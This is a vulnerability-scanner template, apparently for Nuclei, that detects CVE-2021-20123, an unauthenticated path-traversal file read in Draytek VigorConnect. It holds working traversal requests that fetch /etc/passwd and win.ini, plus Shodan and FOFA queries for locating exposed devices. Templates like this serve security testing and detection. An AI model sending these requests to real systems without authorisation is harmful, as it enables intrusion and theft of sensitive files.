id: CVE-2021-20123

info:
  name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20123
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20123
    cwe-id: CWE-22
    epss-score: 0.74279
    epss-percentile: 0.99426
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query:
      - http.html:"VigorConnect"
      - http.html:"vigorconnect"
    fofa-query: body="vigorconnect"
  tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200871937126873573345a8619999b48e0610c618b43747ed0f762c0a6c16f9ab00221009787d004d2658279093d92a243d33be065bee1dc9583cac36acbe39e9d7ddafb:922c64590222798bb761d5b6d8e72950